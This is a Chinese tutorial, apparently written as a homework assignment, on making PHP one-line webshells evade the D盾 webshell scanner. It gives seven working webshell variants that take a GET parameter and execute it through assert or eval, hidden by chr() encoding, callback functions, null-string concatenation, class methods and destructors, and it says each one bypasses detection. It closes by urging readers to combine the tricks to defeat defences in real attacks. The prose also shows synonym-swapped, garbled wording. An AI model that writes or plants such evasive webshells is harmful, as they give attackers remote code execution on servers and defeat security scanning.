作业内容:

//在php版别5.x 要完成下面程序免杀怎么办? 写出变形前代码和变形后代码
<?assert($_POST['x'],'x不存在');?>
//拿D盾来做检测,看是否成功绕过

1.D盾的木马检测机制

首要编写两条最基本的一句话木马。

//shell1.php
<?@assert($_GET['sherry']);?>
//shell2.php
<?@eval($_GET['sherry']);?>

能够看到能够正常履行php语句。

PHP一句话木马免杀小技巧

运用D盾去查杀,这里用的教师发的D盾,版别号是2.0.8。看看D盾的报警提示。

PHP一句话木马免杀小技巧

两个都报警了,提示assert后门和eval后门,并提示了危险变量$_GET[‘shell’]

绕过D盾的思路,就是躲藏或许伪装assert和eval关键字及$_GET参数。

2.assert一句话木马的免杀

assert — 查看断语是否为 false。 在php5.x中,断语函数assert()是一个功能很强大的函数,assert() 会查看指定的 assertion ,如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来履行。所以能够将assert等D盾认为是高危险的关键字经过一些函数进行躲藏,配合变量函数,绕过D盾的检测机制。

2.1 array_map()函数

array_map — 为数组的每个元素应用回调函数。 array_map() 回来一个array(数组),包括将 array 的相应值作为回调的参数顺序调用 callback 后的成果(如果供给了更多数组,还会利用 arrays 传入)。callback 函数形参的数量有必要匹配 array_map() 实参中数组的数量。

语法:

array_map(myfunction,array1,array2,array3...)

咱们能够依据一句话木马的办法结构一个array_map()函数

assert($_GET[‘shell’])这个语句能够分为函数名和参数两个部分,分别用两个变量进行赋值

$func1 = 'assert';
$array1 = array($_GET['sherry']);

然后用array_map()串起来:

array_map($func1,$func1 = $array1);

能够正常履行,可是D盾还是能检测到这几个灵敏关键字。

PHP一句话木马免杀小技巧

PHP一句话木马免杀小技巧

由于assert太显着了,咱们需求把它转换一下,最少明面上看不出来。

运用ASCII码转换一下:

$func1 = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) . chr(116);

然后结构一个自定义函数,把本体躲藏起来,这样和array_map关联的就是go()函数,和assart不会产生直接的联络。

//test1.php
<?php
function go()
{
    $func1 = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) . chr(116);
    return $func1;
}
$func1 = go();
$array1 = array($_GET['sherry']);
array_map($func1, $func1 = $array1);
?>

PHP一句话木马免杀小技巧

PHP一句话木马免杀小技巧

成功运行,并且经过D盾检测。

2.2 call_user_func()函数

call_user_func — 把第一个参数作为回调函数调用。 第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

语法:

call_user_func(callable $callback, mixed ...$args): mixed

相同的,第一个参数’assert’作为回调函数,第二个参数是$_GET[‘sherry’]变量。

//test2.php
<?php
function go()
{   
    $func1 = 'assert';
    return $func1;
}
$func1 = go();
$arg1 = $_GET['sherry'];
call_user_func($func1, $func1 = $arg1);
?>

似乎D盾并没有仔细查看call_user_func()传入的参数,所以go()函数不作ASCII改换也能够经过检测。

PHP一句话木马免杀小技巧

PHP一句话木马免杀小技巧

2.3 call_user_func_array()函数

call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数。 把第一个参数作为回调函数(callback)调用,把参数数组作(args)为回调函数的的参数传入。

语法:

call_user_func_array(callable $callback, array $args): mixed

由于一句话木马只有一个参数,所以办法和call_user_func)()是一样的,仅有不同的是参数要以数组办法输入。

//test3.php
<?php
function go()
{
    return 'assert';
}
$func1 = go();
$array1 = array($_GET['sherry']);
call_user_func_array($func1, $func1 = $array1)
?>

PHP一句话木马免杀小技巧

PHP一句话木马免杀小技巧

相同D盾也没有辨认。

3.eval一句话木马的免杀

在PHP7以后,assert是言语结构而不是函数。PHP8不再允许在命名空间中声明叫做 assert() 的函数,所以PHP7以上不能运用assert一句话木马,只能运用eval代替。

eval — 把字符串作为PHP代码履行。

咱们知道,eval是一个言语结构器,并不是系统组件函数,因此咱们在php.ini中运用disable_functions是无法禁止它的。相同的,eval不能被变量函数的办法所调用。由于它允许履行任意 PHP 代码。

依据eval的特性,咱们需求结构一行字符串代码作为eval()的参数。 由于D盾对eval的参数过滤是十分严格的,所以需求经过对$_GET[‘sherry’]拆分和变形,才能绕过D盾。

3.1 Null拼接

咱们经过结构Null变量进行拼接,如果D盾检测不严密的话,或许会忽略之后的有效参数。

<?php
    $str1 = Null;
    $arg1 = $_GET['sherry'];
    eval($str1.$arg1);
?>

PHP一句话木马免杀小技巧

D盾检测到了危险变量$_GET,咱们再持续往前增加一些空变量。

//test4.php
<?php
    $str1 = Null;
    $str2 = '';
    $arg1 = $_GET['sherry'];
    eval($str1.$str2.$arg1);
?>

PHP一句话木马免杀小技巧

PHP一句话木马免杀小技巧

前面空变量多了,D盾没有辨认出来后边的$_GET,成功绕过。

3.2 结构函数

能够将$_GET躲藏在函数里面,同时采纳拼接或许加密等办法混淆灵敏字符串,从而绕过D盾。

//test5.php
<?php 
function go() 
{ 
return "\x00".$_GET['sherry']."\x00"; 
} 
eval(go()); 
?>

3.3 结构类

将eval躲藏在类办法中,然后实例化,将$_GET[‘sherry’]传进去履行。

//test6.php
<?php
class Shell
{
    var $arg;
    function setarg($str)
    {
        $this->arg = '' . $str . null;
    }
    function go()
    {
        eval("$this->arg");
    }
}
$run = new Shell;
$run->setarg($_GET['sherry']);
$run->go();
?>

PHP一句话木马免杀小技巧

PHP一句话木马免杀小技巧

3.4 析构函数

析构函数(destructor) 与结构函数相反,当对象完毕其生命周期时(例如对象地点的函数已调用完毕),系统主动履行析构函数。由于析构函数能够主动履行,所以在对象完毕调用后会主动履行eval语句。

//test7.php
<?php
class Shell
{
    public $arg = '';
    function __destruct()
    {
        eval("$this->arg");
    }
}
$run = new Shell;
$run->arg = $_GET['sherry'];
?>

PHP一句话木马免杀小技巧

PHP一句话木马免杀小技巧

4.小结

PHP一句话木马免杀小技巧

能够看到,上面的所有办法都能够绕过D盾。可是以上几种办法只是基本的绕过办法,实战中或许需求综合运用上面的几种办法,以及一些更巧妙的办法,才能有效打破防御。